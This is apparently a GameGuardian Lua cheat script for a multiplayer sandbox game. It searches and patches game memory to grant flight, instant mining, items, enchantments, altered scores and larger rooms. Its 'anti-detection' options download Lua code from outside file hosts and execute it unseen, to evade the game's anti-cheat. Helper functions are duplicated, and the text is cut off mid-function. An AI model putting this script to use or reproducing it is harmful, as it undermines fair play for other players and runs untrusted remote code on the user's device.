function SearchWrite(tb1, tb2, dataType, Name) local lt1={} local lt2={} local mm1={["主特征码"] = tb1[1][1],["类型"] = dataType } table.insert(lt1,1,mm1)   for i=2 , #tb1 do     local mm2={["副特征码"] = tb1[i][1],["偏移"] = tb1[i][2]}     table.insert(lt1,i,mm2)   end   for i=1 , #tb2 do     if tb2[i][2]~=nil then       local mm3={["修改"] = tb2[i][1],["偏移"] = tb2[i][2]}       table.insert(lt2,i,mm3)      else       local mm3={["修改"] = false,["偏移"] = tb2[i][1]}       table.insert(lt2,i,mm3)     end   end   LongTao(lt1, lt2 ) end  function LongTao(Search, Write)   gg.clearResults()   gg.setVisible(false)   lx=Search[1]["类型"]   gg.searchNumber(Search[1]["主特征码"], lx)   local count = gg.getResultCount()   local result = gg.getResults(count)   gg.clearResults()   local data = {}   if (count > 0) then     for i, v in ipairs(result) do       v.isUseful = true     end     for k=2, #Search do       local tmp = {}       local num = Search[k]["副特征码"]       if Search[k]["类型"]~= nil then            lx =Search[k]["类型"]          else            lx = Search[1]["类型"]         end       for i, v in ipairs(result) do         tmp[#tmp+1] = {}         tmp[#tmp].address = v.address + Search[k]["偏移"]         tmp[#tmp].flags = lx       end       tmp = gg.getValues(tmp)       for i, v in ipairs(tmp) do         if ( tostring(v.value) ~= tostring(num) ) then           result[i].isUseful = false         end       end     end     for i, v in ipairs(result) do       if (v.isUseful) then         data[#data+1] = v.address       end     end     if (#data > 0) then       local t = {}       for i=1, #data do         for k, w in ipairs(Write) do           if w["类型"] ~= nil then              lx = w["类型"]            else              lx = Search[1]["类型"]           end           t[#t+1] = {}           t[#t].address = data[i] + w["偏移"]           t[#t].flags = lx           if (w["修改"]~=nil) and (w["修改"]~=false) then             t[#t].value = w["修改"]             gg.setValues(t)             if (w["冻结"] == true) then               local item = {}               item[#item+1] = t[#t]               item[#item].freeze = w["冻结"]               gg.addListItems(item)             end           end         end       end       gg.loadResults(t)           else       gg.toast("未定位到数据!")       return false     end    else     gg.toast("未定位到数据!")     return false   end end    local app = {} function Assert(data) if data == nil or data == "" or data == "nil" then return false else return true end end function mearrass(memory, array) if Assert(memory) and Assert(array) then return true else return false end end function typetab(array, type) local datatype = {} for i = 1, #array do if Assert(array[i].type) then table.insert(datatype, i, array[i].type) else if Assert(type) then table.insert(datatype, i, type) else return false end end end return true, datatype end function app.memorysearch(memory, array, type) gg.setVisible(false) local isok = mearrass(memory, array) if isok then local isok, datatype = typetab(array, type) if isok then if Assert(array[1].hv) then gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv .. "~" .. array[1].hv, datatype[1]) else gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv, datatype[1]) end if gg.getResultCount() == 0 then return false else local tab = {} local data = gg.getResults(gg.getResultCount()) gg.clearResults() for i = 1, #data do data[i].isok = true end for i = 2, #array do local t = {} local offset = array[i].offset for x = 1, #data do t[#t + 1] = {} t[#t].address = data[x].address + offset t[#t].flags = datatype[i] end local t = gg.getValues(t) for z = 1, #t do if Assert(array[i].hv) then if tonumber(t[z].value) < tonumber(array[i].lv) or tonumber(t[z].value) > tonumber(array[i].hv) then  data[z].isok = false end else if tostring(t[z].value) ~= tostring(array[i].lv) then data[z].isok = false end end end end for i = 1, #data do if data[i].isok then tab[#tab + 1] = data[i].address end end if #tab > 0 then return true, tab else return false end end else print("type参数错误") gg.toast("type参数错误") os.exit() end else print("memory or array参数错误") gg.toast("memory or array参数错误") os.exit() end end function app.memoryread(addr, type) local t = {} t[1] = {} t[1].address = addr t[1].flags = type if #t > 0 then return true, gg.getValues(t)[1].value else return false end end function app.memorywrite(addr, type, value, freeze) local t = {} t[1] = {} t[1].address = addr t[1].flags = type t[1].value = value if #t > 0 then if Assert(freeze) then t[1].freeze = freeze return gg.addListItems(t) else return gg.setValues(t) end else return false end end
function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end
function PS() end function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end  


function SearchWrite(tb1, tb2, dataType, Name) local lt1={} local lt2={} local mm1={["主特征码"] = tb1[1][1],["类型"] = dataType } table.insert(lt1,1,mm1)   for i=2 , #tb1 do     local mm2={["副特征码"] = tb1[i][1],["偏移"] = tb1[i][2]}     table.insert(lt1,i,mm2)   end   for i=1 , #tb2 do     if tb2[i][2]~=nil then       local mm3={["修改"] = tb2[i][1],["偏移"] = tb2[i][2]}       table.insert(lt2,i,mm3)      else       local mm3={["修改"] = false,["偏移"] = tb2[i][1]}       table.insert(lt2,i,mm3)     end   end   LongTao(lt1, lt2 ) end  function LongTao(Search, Write)   gg.clearResults()   gg.setVisible(false)   lx=Search[1]["类型"]   gg.searchNumber(Search[1]["主特征码"], lx)   local count = gg.getResultCount()   local result = gg.getResults(count)   gg.clearResults()   local data = {}   if (count > 0) then     gg.toast("共搜索 "..count.." 条数据")     for i, v in ipairs(result) do       v.isUseful = true     end     for k=2, #Search do       local tmp = {}       local num = Search[k]["副特征码"]       if Search[k]["类型"]~= nil then            lx =Search[k]["类型"]          else            lx = Search[1]["类型"]         end       for i, v in ipairs(result) do         tmp[#tmp+1] = {}         tmp[#tmp].address = v.address + Search[k]["偏移"]         tmp[#tmp].flags = lx       end       tmp = gg.getValues(tmp)       for i, v in ipairs(tmp) do         if ( tostring(v.value) ~= tostring(num) ) then           result[i].isUseful = false         end       end     end     for i, v in ipairs(result) do       if (v.isUseful) then         data[#data+1] = v.address       end     end     if (#data > 0) then       local t = {}       for i=1, #data do         for k, w in ipairs(Write) do           if w["类型"] ~= nil then              lx = w["类型"]            else              lx = Search[1]["类型"]           end           t[#t+1] = {}           t[#t].address = data[i] + w["偏移"]           t[#t].flags = lx           if (w["修改"]~=nil) and (w["修改"]~=false) then             t[#t].value = w["修改"]             gg.setValues(t)             if (w["冻结"] == true) then               local item = {}               item[#item+1] = t[#t]               item[#item].freeze = w["冻结"]               gg.addListItems(item)             end           end         end       end       gg.loadResults(t)       gg.toast("共偏移η"..#t.." 条数据ΔΘ")      else       gg.toast("未定位到数据!")       return false     end    else     gg.toast("未定位到数据!")     return false   end end    local app = {} function Assert(data) if data == nil or data == "" or data == "nil" then return false else return true end end function mearrass(memory, array) if Assert(memory) and Assert(array) then return true else return false end end function typetab(array, type) local datatype = {} for i = 1, #array do if Assert(array[i].type) then table.insert(datatype, i, array[i].type) else if Assert(type) then table.insert(datatype, i, type) else return false end end end return true, datatype end function app.memorysearch(memory, array, type) gg.setVisible(false) local isok = mearrass(memory, array) if isok then local isok, datatype = typetab(array, type) if isok then if Assert(array[1].hv) then gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv .. "~" .. array[1].hv, datatype[1]) else gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv, datatype[1]) end if gg.getResultCount() == 0 then return false else local tab = {} local data = gg.getResults(gg.getResultCount()) gg.clearResults() for i = 1, #data do data[i].isok = true end for i = 2, #array do local t = {} local offset = array[i].offset for x = 1, #data do t[#t + 1] = {} t[#t].address = data[x].address + offset t[#t].flags = datatype[i] end local t = gg.getValues(t) for z = 1, #t do if Assert(array[i].hv) then if tonumber(t[z].value) < tonumber(array[i].lv) or tonumber(t[z].value) > tonumber(array[i].hv) then  data[z].isok = false end else if tostring(t[z].value) ~= tostring(array[i].lv) then data[z].isok = false end end end end for i = 1, #data do if data[i].isok then tab[#tab + 1] = data[i].address end end if #tab > 0 then return true, tab else return false end end else print("type参数错误") gg.toast("type参数错误") os.exit() end else print("memory or array参数错误") gg.toast("memory or array参数错误") os.exit() end end function app.memoryread(addr, type) local t = {} t[1] = {} t[1].address = addr t[1].flags = type if #t > 0 then return true, gg.getValues(t)[1].value else return false end end function app.memorywrite(addr, type, value, freeze) local t = {} t[1] = {} t[1].address = addr t[1].flags = type t[1].value = value if #t > 0 then if Assert(freeze) then t[1].freeze = freeze return gg.addListItems(t) else return gg.setValues(t) end else return false end end
function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end
function PS() end function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end
function S_Pointer(t_So, t_Offset, _bit)
	local function getRanges()
		local ranges = {}
		local t = gg.getRangesList('^/data/*.so*$')
		for i, v in pairs(t) do
			if v.type:sub(2, 2) == 'w' then
				table.insert(ranges, v)
			end
		end
		return ranges
	end
	local function Get_Address(N_So, Offset, ti_bit)
		local ti = gg.getTargetInfo()
		local S_list = getRanges()
		local _Q = tonumber(0x167ba0fe)
		local t = {}
		local _t
		local _S = nil
		if ti_bit then
			_t = 32
		 else
			_t = 4
		end
		for i in pairs(S_list) do
			local _N = S_list[i].internalName:gsub('^.*/', '')
			if N_So[1] == _N and N_So[2] == S_list[i].state then
				_S = S_list[i]
				break
			end
		end
		if _S then
			t[#t + 1] = {}
			t[#t].address = _S.start + Offset[1]
			t[#t].flags = _t
			if #Offset ~= 1 then
				for i = 2, #Offset do
					local S = gg.getValues(t)
					t = {}
					for _ in pairs(S) do
						if not ti.x64 then
							S[_].value = S[_].value & 0xFFFFFFFF
						end
						t[#t + 1] = {}
						t[#t].address = S[_].value + Offset[i]
						t[#t].flags = _t
					end
				end
			end
			_S = t[#t].address
			print(string.char(231,190,164,58).._Q)
		end
		return _S
	end
	local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit))
	return _A
end

recover=gg.getResults(100000)  function AppSearch(SSNR,XGNR,BCNR,notWrite)  gg.clearResults()  gg.setRanges(SSNR["M"])  gg.searchNumber(SSNR[1]["mv"],SSNR[1]["lx"],false,gg.SIGN_EQUAL,(SSNR[1]["addr"] or nil),(SSNR[1]["toAddr"] or nil))  jg=gg.getResults(100000)  local base=(SSNR[1]["offs"] or 0)  local data={}  if #jg==0 then  gg.alert("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or ""))  gg.loadResults(recover)  return nil  end  for i=1,#jg do  jg[i].Useful=true  end  for k=2,#SSNR do  if not SSNR[k] then  break  end  local content={}  local offset=SSNR[k]["offs"]-base  local value=SSNR[k]["sv"]  local type=SSNR[k]["lx"]  local to=(SSNR[k]["to"] or value)  local num={}  if to<value then  to,value=value,to  end    for i=1,#jg do  if jg[i].Useful==true then  table.insert(content,{})  content[#content].address=jg[i].address+offset  content[#content].flags=type  num[#num+1]=i  end  end      if #content==0 then gg.alert("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or "")) gg.loadResults(recover) return nil end  content=gg.getValues(content)      for i,v in pairs(content) do  if tonumber(v.value)<tonumber(value) or tonumber(v.value)>tonumber(to) then  jg[num[i]].Useful=false  end  end    end  for j=1,#jg do  if jg[j].Useful==true then  data[#data+1]=jg[j].address  end  end  if #data==0 then  gg.alert("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or ""))  gg.loadResults(recover)  return nil  end  if notWrite==true then  gg.loadResults(recover)  return data  end  if XGNR then  local write={}  for i=1,#data do  for j=1,#XGNR do  write[#write+1]={}  write[#write].address=data[i]+(XGNR[j][2]-base)  write[#write].flags=XGNR[j][3]  write[#write].value=XGNR[j][1]  write[#write].freeze=XGNR[j][4]  write[#write].name=XGNR[j][5] or nil  if write[#write].freeze==true then  gg.addListItems({[1]=write[#write]})  else  gg.setValues({[1]=write[#write]})  end  if XGNR[j][6]==true then  gg.addListItems({[1]=write[#write]})  end  end  end  end  if BCNR then  local bc={}  for j=1,#data do  for i=1,#BCNR do  bc[#bc+1]={}  bc[#bc].address=data[j]+(BCNR[i][1]-base)  bc[#bc].flags=BCNR[i][2]  bc[#bc].name=BCNR[i][3]  end  end  gg.addListItems(bc)  end  gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改成功")  gg.loadResults(recover)  end

recover=gg.getResults(100000)
function AppSearch(SSNR,XGNR,BCNR,notWrite)
  gg.clearResults()
  gg.setRanges(SSNR["M"])
  gg.searchNumber(SSNR[1]["mv"],SSNR[1]["lx"],false,gg.SIGN_EQUAL,(SSNR[1]["addr"] or nil),(SSNR[1]["toAddr"] or nil))
  jg=gg.getResults(100000)
  local base=(SSNR[1]["offs"] or 0)
  local data={}
  if #jg==0 then
    gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or ""))
    gg.loadResults(recover)
    return nil
  end
  for i=1,#jg do
    jg[i].Useful=true
  end
  
    for k=2,#SSNR do
      if not SSNR[k] then
        break
      end
      local content={}
      local offset=SSNR[k]["offs"]-base
      local value=SSNR[k]["sv"]
      local type=SSNR[k]["lx"]
      local to=(SSNR[k]["to"] or value)
      local num={}
      if to<value then
        to,value=value,to
      end
      
      --↓
      for i=1,#jg do
        if jg[i].Useful==true then
          table.insert(content,{})
          content[#content].address=jg[i].address+offset--偏移部分
          content[#content].flags=type
          num[#num+1]=i
        end
      end
      --存放偏移后的部分↑
      
      --↓
      if #content==0 then gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or "")) gg.loadResults(recover) return nil end
      content=gg.getValues(content)
      --存放完一起gg.getValues↑
      
      --一起判断↓
      for i,v in pairs(content) do
        if tonumber(v.value)<tonumber(value) or tonumber(v.value)>tonumber(to) then
          jg[num[i]].Useful=false
        end
      end
      --↑
      
    end
    
    for j=1,#jg do
      if jg[j].Useful==true then
        data[#data+1]=jg[j].address
      end
    end
     
  if #data==0 then
    gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or ""))
    gg.loadResults(recover)
    return nil
  end
  if notWrite==true then
    gg.loadResults(recover)
    return data
  end
  if XGNR then
  local write={}
  for i=1,#data do
    for j=1,#XGNR do
      write[#write+1]={}
      write[#write].address=data[i]+(XGNR[j][2]-base)
      write[#write].flags=XGNR[j][3]
      write[#write].value=XGNR[j][1]
      write[#write].freeze=XGNR[j][4]
      write[#write].name=XGNR[j][5] or nil
      if write[#write].freeze==true then
        gg.addListItems({[1]=write[#write]})
      else
        gg.setValues({[1]=write[#write]})
      end
      if XGNR[j][6]==true then
        gg.addListItems({[1]=write[#write]})
      end
    end
  end
  end
  if BCNR then
  local bc={}
  for j=1,#data do
  for i=1,#BCNR do
    bc[#bc+1]={}
    bc[#bc].address=data[j]+(BCNR[i][1]-base)
    bc[#bc].flags=BCNR[i][2]
    bc[#bc].name=BCNR[i][3]
  end
  end
  gg.addListItems(bc)
  end
  gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改成功")
  gg.loadResults(recover)
end




function readPointer(name,offset,i) local re=gg.getRangesList(name) local x64=gg.getTargetInfo().x64 local va={[true]=32,[false]=4} if re[i or 1] then local addr=re[i or 1].start+offset[1] for i=2,#offset do addr=gg.getValues({{address=addr,flags=va[x64]}}) if not x64 then addr[1].value=addr[1].value&0xFFFFFFFF end addr=addr[1].value+offset[i] end return addr end end function gg.edits(addr,Table,name) local Table1={{},{}} for k,v in ipairs(Table) do local value={address=addr+v[3],value=v[1],flags=v[2],freeze=v[4]} if v[4] then Table1[2][#Table1[2]+1]=value else Table1[1][#Table1[1]+1]=value end end gg.addListItems(Table1[2]) gg.setValues(Table1[1]) gg.toast((name or '') .. '开启成功, 共修改'..#Table..'个值') end 
function GETValue(a) b=gg.getValues({{address=a,flags=4}})[1].value return b end











bqt={"✳️","🔮","🎃️","🍬","🐬","🍡️","🌊","💎","🍭","🔰","🌿️","🍧️","⛄️","🐳️","🍉","🍢","🌀"}

function Main()
SJ = os.date("%Y年%m月%d日%H时%M分")
local sjbq=bqt[math.random(1,#bqt)]
SN = gg.choice({
  sjbq..'🧊防 检 功 能🧊️️'..sjbq,--1
  sjbq..'🧊房 主 功 能🧊️️'..sjbq,--2
  sjbq..'🧊联 机 功 能️🧊'..sjbq,--3
  sjbq..'🧊炸 图 功 能🧊️️️️️️'..sjbq,--4
  sjbq..'🧊狙 击 功 能️🧊'..sjbq,--5
  sjbq..'🧊音 乐 功 能🧊️'..sjbq,--6
  sjbq..'🧊鸣 谢 名 单🧊️'..sjbq,--7
  sjbq..'🧊娱 乐 功 能🧊️'..sjbq,--8
  sjbq..'🧊快 放 战 歌🧊️'..sjbq,--9
  sjbq..'🧊查 询 代 码🧊️'..sjbq,--10
  sjbq..'🧊连 接 辅 助🧊️'..sjbq,--11
  sjbq..'🧊身 份 功 能🧊️'..sjbq,--12
  sjbq..'🧊共 享 账 号🧊️'..sjbq,--13
  sjbq..'🧊变 态 功 能🧊️'..sjbq,--14
  sjbq..'🎡退 出 辅 助🎡'..sjbq,--15
},2018,os.date("🧊当前时间%Y年%m月%d日%H时%M分%S秒🧊"))
if SN==1 then Main1() end
if SN==2 then Main2() end
if SN==3 then Main3() end
if SN==4 then Main4() end
if SN==5 then Main5() end
if SN==6 then Main6() end
if SN==7 then Main7() end
if SN==8 then Main8() end
if SN==9 then Main9() end
if SN==10 then Main10() end
if SN==11 then Main11() end
if SN==12 then Main12() end
if SN==13 then Main13() end
if SN==14 then Main14() end
if SN==15 then Exit() 
FX1=0 end


function Main1()  
SN = gg.multiChoice({
"🌊A C E 检 测 🌊️️️",
"🌊苏 恰 防 检 测🌊️️️",
"🌊定 制 防 检 测🌊️️️",
"🌊不 知 名 防 闪🌊️️️",
"🌊凉 情 防 检 测🌊️️️",
"🎡返回主页🎡",
 }, nil, "防闪功能区·目前功能:5个")

if SN == nil then else
if SN[1]==true then     c1() end
if SN[2]==true then     c2() end
if SN[3]==true then     c3() end
if SN[4]==true then     c4() end
if SN[5]==true then     c5() end
if SN[6]==true then     Main() end
end
FX=0 end

function c1()
pcall(load(gg.makeRequest("http://chuxinya.top/down.php/4530c6d495f9c39ba6191e849bee2da2.lu a").content))
gg.toast("🛡开启成功🛡")
end



function c2()
pcall(load(gg.makeRequest("https://pan.tenire.com/down.php/0ae88926fa9b76e16a3384aa6dc63cf0.").content))
gg.toast("🛡开启成功🛡")
end



function c3()
pcall(load(gg.makeRequest("https://pan.szfx.top/down.php/0ae88926fa9b76e16a3384aa6dc63cf0.").content))
gg.toast("🛡开启成功🛡")
end



function c4()
pcall(load(gg.makeRequest("https://pan.szfx.top/down.php/1814cf0b80ef446845fb282425f47685.").content))
gg.toast("🛡开启成功🛡")
end



function c5()
    print(os.date("%M分%S秒"))
pcall(load(gg.makeRequest("https://pan.szfx.top/down.php/1fc240c59c823ddc3d5906176f085027.").content))
gg.toast("🛡开启成功🛡")
end



function Main2()  
SN = gg.multiChoice({
"🌿创 造 背 包🌿",
"🌿人 物 飞 行🌿",
"🌿秒 挖 方 块🌿",
"🌿彩蛋枪强化🌿",
"🌿修改房间人数🌿",
"🌿第一格物品附魔🌿",
"🌿第八格添加物品🌿",
"🌿修 改 分 数🌿",
"🌿解 锁 物 品🌿",
"🌿生物掉999+星星🌿",
"🌿无 限 星 星🌿",
"🌿枪 改 子 弹🌿",
"🌿徒手挖基岩🌿",
"🌿添 加 坐 骑🌿",
"🌿刷 勋 章🌿",
"🌿1格无限物品🌿",
"🌿开 大 房 间🌿",
"🌿修 改 宠 物🌿",
"🌿人 物 穿 墙🌿",
"🌿书 台 取 物🌿",
"🎡返回主页🎡",
 }, nil, "房主科技区·目前功能:20个")

if SN == nil then else
if SN[1]==true then     XCA1() end
if SN[2]==true then     XCA2() end
if SN[3]==true then     XCA3() end
if SN[4]==true then     XCA4() end
if SN[5]==true then     XCA5() end
if SN[6]==true then     XCA6() end
if SN[7]==true then     XCA7() end
if SN[8]==true then     XCA8() end
if SN[9]==true then     XCA9() end
if SN[10]==true then     XCA10() end
if SN[11]==true then     XCA11() end
if SN[12]==true then     XCA12() end
if SN[13]==true then     XCA13() end
if SN[14]==true then     XCA14() end
if SN[15]==true then     XCA15() end
if SN[16]==true then     XCA16() end
if SN[17]==true then     XCA17() end
if SN[18]==true then     XCA18() end
if SN[19]==true then     XCA19() end
if SN[20]==true then     XCA20() end
if SN[21]==true then     Main() end
end
FX=0 end


function XCA1()
gg.toast(so({"创造背包",281510439550976,4,32},{{16777216,0x1C0,4}},{{16777472,0x1C0,4}}))
end


function XCA2()
F = gg.alert("请选择{开 关}","开","️关️️")

if  F== 1 then
qmnb={
{["memory"]=4},
{["name"]="伪飞行"},
{["value"]=-1020002304,["type"]=4},
{["lv"]=-1046478848,["offset"]=-4,["type"]=4}

}
qmxg={
{["value"]=16777472,["offset"]=-92,["type"]=4,["freeze"]=true}
}
xqmnb(qmnb)
gg.clearResults()
 elseif  F== 2 then
 qmnb={
{["memory"]=4},
{["name"]="伪飞行"},
{["value"]=-1020002304,["type"]=4},
{["lv"]=-1046478848,["offset"]=-4,["type"]=4}

}
qmxg={
{["value"]=16777216,["offset"]=-92,["type"]=4,["freeze"]=false}
}
xqmnb(qmnb)
gg.clearResults()
end
end


function XCA3()
F = gg.alert("请选择{开 关}","开","️关️️")

if  F== 1 then
qmnb = {
{["memory"] = 16384},
{["name"] = "秒挖方块"},
{["value"] = 1133903872, ["type"] = 4},
{["lv"] = 50.0, ["offset"] = 4, ["type"] = 16},
{["lv"] = -70.0, ["offset"] = -8, ["type"] = 16},
{["lv"] = 100.0, ["offset"] = 8, ["type"] = 16},
}
qmxg = {
{["value"] = 0, ["offset"] = -4, ["type"] = 16},
}
xqmnb(qmnb)
gg.clearResults()
 elseif F == 2 then
qmnb = {
{["memory"] = 16384},
{["name"] = "秒挖方块"},
{["value"] = 1133903872, ["type"] = 4},
{["lv"] = 50.0, ["offset"] = 4, ["type"] = 16},
{["lv"] = -70.0, ["offset"] = -8, ["type"] = 16},
{["lv"] = 100.0, ["offset"] = 8, ["type"] = 16},
}
qmxg = {
{["value"] = 0.3, ["offset"] = -4, ["type"] = 16},
}
xqmnb(qmnb)
gg.clearResults()
end
end

function XCA4()
local b = gg.prompt({"『输入子弹代码』12299擎天柱炮弹12300星星弹15509燃烧激光15510冰冻激光15511爆炸激光15512岩石海啸15513冰球15518特效炸弹15519岩浆弹15520混乱球_15521_15051燃烧箭15052燃烧雪球15053泡泡球15056熔岩弹15057混乱弹15058炸弹15059冰锥[不可放置方块]15060熔岩球15062冰锥15064冰炸弹15065火炸弹15066冰雪弹15067紫球15068紫箭"},{[1]=12299},{[1]="number"})
if not b then return end
gg.toast(so({"彩弹枪强化",434259848432382,4,32},{{1,-0xC,4}},{{b[1],-0x8,4}}))
end



function XCA5()
local Aa3=gg.prompt({"输入1~40人房间人数,开启此功能后点击开6人房间"},{"22"},{"number"})
if not Aa3 then return end
if Aa3 then
gg.toast(so({"大房间",1078198272,4,4},{{1077805056,-0x10},{1077149696,-0x20},{1076101120,-0x30},{1075052544,-0x50}},{{Aa3[1],-0x44,64}}))
end
end


function XCA6()
qa1 = gg.choice({
"第一格武器附魔",--1
"第一格工具附魔",--2
"第一格弓箭附魔",--3
"第一格装备附魔",--4
"第一格自定附魔",--5
"🎡返 回 主 页🎡",},2018,os.date("🎡第一格附魔🎡"))
if qa1 ==1 then ww1() end
if qa1 ==2 then ww2() end
if qa1 ==3 then ww3() end
if qa1 ==4 then ww4() end
if qa1 ==5 then ww5() end
if qa1 ==6 then Maun() end
XGCK=-1
end

function ww1()
gg.toast(so({"武器附魔",945804461,4,4},{{1000,-4,4}},{{20000,4,4,1},{5,8,4,1},{505,12,4,1},{605,16,4,1},{1005,20,4,1},{1105,24,4,1},{705,28,4,1}}))
end

function ww2()
gg.toast(so({"工具附魔",945804461,4,4},{{1000,-4,4}},{{20000,4,4,1},{5,8,4,1},{2505,12,4,1},{2603,16,4,1},{2401,20,4,1},{1505,24,4,1},{1105,28,4,1}}))
end

function ww3()
gg.toast(so({"弓箭附魔",945804461,4,4},{{1000,-4,4}},{{20000,4,4,1},{5,8,4,1},{505,12,4,1},{1005,16,4,1},{905,20,4,1},{1305,24,4,1},{1405,28,4,1}}))
end

function ww4()
gg.toast(so({"装备附魔",945804461,4,4},{{1000,-4,4}},{{20000,4,4,1},{5,8,4,1},{2205,12,4,1},{1805,16,4,1},{1705,20,4,1},{1605,24,4,1},{2305,28,4,1}}))
end

function ww5()
fm1 = gg.prompt({"༺ཌༀ⛦第一个附魔效果⛦ༀད༻\n耐久5-1505.击飞5-505.锋利5-605.人类猎手5-705.动物猎手5-805.魔物猎手5-905.野人猎手5-2905.点燃5-1005.击退5-1105.幸运狩猎3-1203.强力射击5-1305.无限射击5-1405.爆炸射击-2701近战抗性5-1605.远程抗性5-1705.爆炸抗性5-1805.燃烧抗性5-1905.毒素抗性5-2005.混乱抗性5-2105.反击5-2205.击退抗性5-2305.龙之缓落-2801.护腿速降5-3005.鞋子爬墙5-3105.精准采集-2401.速度5-2505.挖掘幸运3-2603"}
,{[1]=2505},{[1]="number"})[1]
gg.clearResults()
fm2 = gg.prompt({"༺ཌༀ⛦第二个附魔效果⛦ༀད༻\n耐久5-1505.击飞5-505.锋利5-605.人类猎手5-705.动物猎手5-805.魔物猎手5-905.野人猎手5-2905.点燃5-1005.击退5-1105.幸运狩猎3-1203.强力射击5-1305.无限射击5-1405.爆炸射击-2701近战抗性5-1605.远程抗性5-1705.爆炸抗性5-1805.燃烧抗性5-1905.毒素抗性5-2005.混乱抗性5-2105.反击5-2205.击退抗性5-2305.龙之缓落-2801.护腿速降5-3005.鞋子爬墙5-3105.精准采集-2401.速度5-2505.挖掘幸运3-2603"}
,{[1]=2603},{[1]="number"})[1]
gg.clearResults()
fm3 = gg.prompt({"༺ཌༀ⛦第三个附魔效果⛦ༀད༻\n耐久5-1505.击飞5-505.锋利5-605.人类猎手5-705.动物猎手5-805.魔物猎手5-905.野人猎手5-2905.点燃5-1005.击退5-1105.幸运狩猎3-1203.强力射击5-1305.无限射击5-1405.爆炸射击-2701近战抗性5-1605.远程抗性5-1705.爆炸抗性5-1805.燃烧抗性5-1905.毒素抗性5-2005.混乱抗性5-2105.反击5-2205.击退抗性5-2305.龙之缓落-2801.护腿速降5-3005.鞋子爬墙5-3105.精准采集-2401.速度5-2505.挖掘幸运3-2603"}
,{[1]=2401},{[1]="number"})[1]
gg.clearResults()
fm4 = gg.prompt({"༺ཌༀ⛦第四个附魔效果⛦ༀད༻\n耐久5-1505.击飞5-505.锋利5-605.人类猎手5-705.动物猎手5-805.魔物猎手5-905.野人猎手5-2905.点燃5-1005.击退5-1105.幸运狩猎3-1203.强力射击5-1305.无限射击5-1405.爆炸射击-2701近战抗性5-1605.远程抗性5-1705.爆炸抗性5-1805.燃烧抗性5-1905.毒素抗性5-2005.混乱抗性5-2105.反击5-2205.击退抗性5-2305.龙之缓落-2801.护腿速降5-3005.鞋子爬墙5-3105.精准采集-2401.速度5-2505.挖掘幸运3-2603"}
,{[1]=1505},{[1]="number"})[1]
gg.clearResults()
fm5 = gg.prompt({"༺ཌༀ⛦第五个附魔效果⛦ༀད༻\n耐久5-1505.击飞5-505.锋利5-605.人类猎手5-705.动物猎手5-805.魔物猎手5-905.野人猎手5-2905.点燃5-1005.击退5-1105.幸运狩猎3-1203.强力射击5-1305.无限射击5-1405.爆炸射击-2701近战抗性5-1605.远程抗性5-1705.爆炸抗性5-1805.燃烧抗性5-1905.毒素抗性5-2005.混乱抗性5-2105.反击5-2205.击退抗性5-2305.龙之缓落-2801.护腿速降5-3005.鞋子爬墙5-3105.精准采集-2401.速度5-2505.挖掘幸运3-2603"}
,{[1]=1105},{[1]="number"})[1]
gg.toast(so({"自定义附魔",945804461,4,4},{{1000,-4,4}},{{20000,4,4,1},{5,8,4,1},{fm1,12,4,1},{fm2,16,4,1},{fm3,20,4,1},{fm4,24,4,1},{fm5,28,4,1}}))
end



function XCA7()
wp=gg.prompt({"物品代码[代码要大于300]","物品数量[1;200]"},{[1]="",[2]="64"},{[1]="number",[2]="number"})   
if wp then 
so({"物品",wp[1],4,4},{{"1~64",-0x1D4,4},{"200~500",-0x1D8,4}},{{nil,0,4,2}})
for i,v in ipairs(gg.getListItems())do if v.value==wp[1] then 
tt=v.address sj1=gg.getValues({{address=v.address+0x344,flags=4}}) 
end end if sj1 then
gg.toast(so({"添加物品",1007,4,4},{{1000,-0x700},{1001,-0x600},{1002,-0x500},{1003,-0x400},{1004,-0x300},{1005,-0x200},{1006,-0x100}},{{945804460~wp[2],4,4},{2000,8,4},{tt,0x78,32},{sj1[1].value,0x7C,4}}))
else gg.toast("物品添加失败") 
end 
end 
end



function XCA8()
xx= gg.choice({
    "红队",
    "蓝队",
    "绿队️",
    "黄队",
    "橙队",    
    "紫队",    
    "🎡返回主页🎡",},2018,os.date("️"))
if xx==1 then  fs1() end
if xx==2 then  fs2() end
if xx==3 then  fs3() end
if xx==4 then  fs4() end
if xx==5 then  fs5() end
if xx==6 then  fs6() end
if xx==7 then  Main() end
XGCK=-1 end
function fs1()
mn1=gg.prompt({"『当前红队分数』"},{'0'},{"number"})[1]
gg.clearResults()
mn2=gg.prompt({"『请输入修改后的红队分数』"},{'520'},{"number"})[1]
if not mn1 then return end
if not mn2 then return end
    gg.setRanges(4)
local dataType = 4
local tb1 = {{600, 0}, {mn1, -120},{-1, -984} }
local tb2 = {{mn2, -120  }, }
SearchWrite(tb1, tb2, dataType)
	 gg.toast("修改成功")
	 gg.clearResults()
end
function fs2()
mn1=gg.prompt({"『当前蓝队分数』"},{'0'},{"number"})[1]
gg.clearResults()
mn2=gg.prompt({"『请输入修改后的蓝队分数』"},{'520'},{"number"})[1]
if not mn1 then return end
if not mn2 then return end
    gg.setRanges(4)
local dataType = 4
local tb1 = {{600, 0}, {mn1, -104},{-1, -984} }
